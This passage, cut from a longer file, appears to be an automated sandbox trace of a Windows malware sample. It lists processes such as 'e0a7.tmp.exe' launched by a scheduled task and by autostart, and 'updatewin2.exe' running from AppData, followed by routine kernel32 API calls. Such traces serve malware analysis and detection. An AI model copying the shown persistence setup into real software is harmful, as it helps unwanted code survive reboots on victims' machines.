lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be310, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.144] GetLastError () returned 0x0 [0107.153] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be310, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.153] GetLastError () returned 0x0 [0107.237] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x448de0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.237] GetLastError () returned 0xcb Thread: id = 52 os_tid = 0xb04 Thread: id = 53 os_tid = 0xb08 Thread: id = 54 os_tid = 0xb0c Thread: id = 55 os_tid = 0xb10 Thread: id = 56 os_tid = 0xb14 [0097.765] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Process: id = "9" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x309d3000" os_pid = "0xb1c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0xa5c" cmd_line = "taskeng.exe {47D8EBBE-94FB-44D1-AA0B-8E05701C0CA5} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xb20 Thread: id = 59 os_tid = 0xb24 Thread: id = 60 os_tid = 0xb28 Thread: id = 61 os_tid = 0xb2c Thread: id = 62 os_tid = 0xb30 Thread: id = 63 os_tid = 0xb34 Thread: id = 64 os_tid = 0xb38 Process: id = "10" image_name = "e0a7.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe" page_root = "0x2f7f9000" os_pid = "0xb3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xb1c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 104 os_tid = 0xb40 Thread: id = 105 os_tid = 0xb80 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0xb1c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 65 os_tid = 0xa3c Thread: id = 66 os_tid = 0xa38 Thread: id = 67 os_tid = 0xa18 Thread: id = 68 os_tid = 0x9fc Thread: id = 69 os_tid = 0x94c Thread: id = 70 os_tid = 0x948 Thread: id = 71 os_tid = 0x940 Thread: id = 72 os_tid = 0x93c Thread: id = 73 os_tid = 0x430 Thread: id = 74 os_tid = 0x268 Thread: id = 75 os_tid = 0x768 Thread: id = 76 os_tid = 0x764 Thread: id = 77 os_tid = 0x760 Thread: id = 78 os_tid = 0x75c Thread: id = 79 os_tid = 0x70c Thread: id = 80 os_tid = 0x6e8 Thread: id = 81 os_tid = 0x6c8 Thread: id = 82 os_tid = 0x6c0 Thread: id = 83 os_tid = 0x6a4 Thread: id = 84 os_tid = 0x6a0 Thread: id = 85 os_tid = 0x690 Thread: id = 86 os_tid = 0x67c Thread: id = 87 os_tid = 0x490 Thread: id = 88 os_tid = 0x454 Thread: id = 89 os_tid = 0x450 Thread: id = 90 os_tid = 0x428 Thread: id = 91 os_tid = 0x420 Thread: id = 92 os_tid = 0x404 Thread: id = 93 os_tid = 0x18c Thread: id = 94 os_tid = 0xf0 Thread: id = 95 os_tid = 0xc8 Thread: id = 96 os_tid = 0x3f0 Thread: id = 97 os_tid = 0x3e4 Thread: id = 98 os_tid = 0x398 Thread: id = 99 os_tid = 0x394 Thread: id = 100 os_tid = 0x390 Thread: id = 101 os_tid = 0x38c Thread: id = 102 os_tid = 0x378 Thread: id = 103 os_tid = 0x370 Thread: id = 109 os_tid = 0xbec Thread: id = 110 os_tid = 0xbf4 Thread: id = 111 os_tid = 0xbf8 Thread: id = 151 os_tid = 0x204 Thread: id = 152 os_tid = 0x7e4 Thread: id = 153 os_tid = 0x518 Thread: id = 154 os_tid = 0x5b8 Thread: id = 155 os_tid = 0x11c Thread: id = 156 os_tid = 0x7e8 Process: id = "12" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin2.exe" page_root = "0x32639000" os_pid = "0xb90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa5c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 106 os_tid = 0xb94 Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 113 os_tid = 0x860 Thread: id = 114 os_tid = 0x810 Thread: id = 115 os_tid = 0x688 Thread: id = 116 os_tid = 0x754 Thread: id = 117 os_tid = 0x704 Thread: id = 118 os_tid = 0x6b0 Thread: id = 119 os_tid = 0x698 Thread: id = 120 os_tid = 0x678 Thread: id = 121 os_tid = 0x630 Thread: id = 122 os_tid = 0x610 Thread: id = 123 os_tid = 0x14c Thread: id = 124 os_tid = 0x140 Thread: id = 125 os_tid = 0x158 Thread: id = 126 os_tid = 0x294 Thread: id = 127 os_tid = 0x230 Thread: id = 128 os_tid = 0x21c Thread: id = 129 os_tid = 0x1c4 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 130 os_tid = 0xaac Thread: id = 131 os_tid = 0x658 Thread: id = 132 os_tid = 0x584 Thread: id = 133 os_tid = 0x728 Thread: id = 134 os_tid = 0x674 Thread: id = 135 os_tid = 0x65c Thread: id = 136 os_tid = 0x144 Thread: id = 137 os_tid = 0x118 Thread: id = 138 os_tid = 0x3ec Thread: id = 139 os_tid = 0x3e8 Thread: id = 140 os_tid = 0x3e0 Thread: id = 141 os_tid = 0x3dc Thread: id = 142 os_tid = 0x3cc Thread: id = 143 os_tid = 0x3c8 Thread: id = 144 os_tid = 0x388 Thread: id = 145 os_tid = 0x384 Thread: id = 146 os_tid = 0x380 Thread: id = 147 os_tid = 0x37c Thread: id = 148 os_tid = 0x364 Thread: id = 149 os_tid = 0x34c Thread: id = 150 os_tid = 0x338 Process: id = "15" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x1bb1a000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000808c2" [0xc000000f] Thread: id = 157 os_tid = 0x808 Thread: id = 158 os_tid = 0x7c4 Thread: id = 159 os_tid = 0x570 Thread: id = 160 os_tid = 0x328 Thread: id = 161 os_tid = 0x604 Thread: id = 162 os_tid = 0x694 Thread: id = 163 os_tid = 0x2b0 Thread: id = 164 os_tid = 0x7bc Thread: id = 165 os_tid = 0x7c0 Process: id = "16" image_name = "e0a7.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe" page_root = "0x8c22000" os_pid = "0x7ec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc14" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 166 os_tid = 0x7f0 [0217.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xdc066650, dwHighDateTime=0x1d50369)) [0217.313] GetCurrentProcessId () returned 0x7ec [0217.313] GetCurrentThreadId () returned 0x7f0 [0217.313] GetTickCount () returned 0xcd9a [0217.313] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=5767477893) returned 1 [0217.368] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0217.368] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2020000 [0217.370] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.370] GetProcAddress (hModule=0x756f0000, lpProcName="FlsAlloc") returned 0x75704f2b [0217.371] GetProcAddress (hModule=0x756f0000, lpProcName="FlsGetValue") returned 0x75701252 [0217.371] GetProcAddress (hModule=0x756f0000, lpProcName="FlsSetValue") returned 0x75704208 [0217.371] GetProcAddress (hModule=0x756f0000, lpProcName="FlsFree") returned 0x7570359f [0217.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.371] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.371] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.372] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.372] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.372] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.372] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.372] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.373] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.373] GetProcAddress (hModule=0x756f0000, lpProcName="DecodePointer") returned 0x76f19d35 [0217.373] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x214) returned 0x20207d0 [0217.373] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.373] GetProcAddress (hModule=0x756f0000, lpProcName="DecodePointer") returned 0x76f19d35 [0217.373] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x756f0000 [0217.374] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0217.374] GetProcAddress (hModule=0x756f0000, lpProcName="DecodePointer") returned 0x76f19d35 [0217.374] GetCurrentThreadId () returned 0x7f0 [0217.374] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0217.374] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x800) returned 0x20209f0 [0217.374] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0217.374] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0217.374] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0217.387] SetHandleCount (uNumber=0x20) returned 0x20 [0217.387] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart" [0217.387] GetEnvironmentStringsW () returned 0x651fc8* [0217.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0217.388] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x581) returned 0x20211f8 [0217.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x20211f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0217.388] FreeEnvironmentStringsW (penv=0x651fc8) returned 1 [0217.388] GetLastError () returned 0x0 [0217.388] SetLastError (dwErrCode=0x0) [0217.388] GetLastError () returned 0x0 [0217.388] SetLastError (dwErrCode=0x0) [0217.388] GetLastError () returned 0x0 [0217.388] SetLastError (dwErrCode=0x0) [0217.388] GetACP () returned 0x4e4 [0217.389] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x220) returned 0x2021788 [0217.389] GetLastError () returned 0x0 [0217.389] SetLastError (dwErrCode=0x0) [0217.389] IsValidCodePage (CodePage=0x4e4) returned 1 [0217.389] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0217.389] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0217.389] GetLastError () returned 0x0 [0217.389] SetLastError (dwErrCode=0x0) [0217.389] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0217.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0217.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0217.389] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0217.389] GetLastError () returned 0x0 [0217.389] SetLastError (dwErrCode=0x0) [0217.389] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0217.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0217.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ訴潛@Ā") returned 256 [0217.389] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ訴潛@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0217.389] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ訴潛@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0217.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 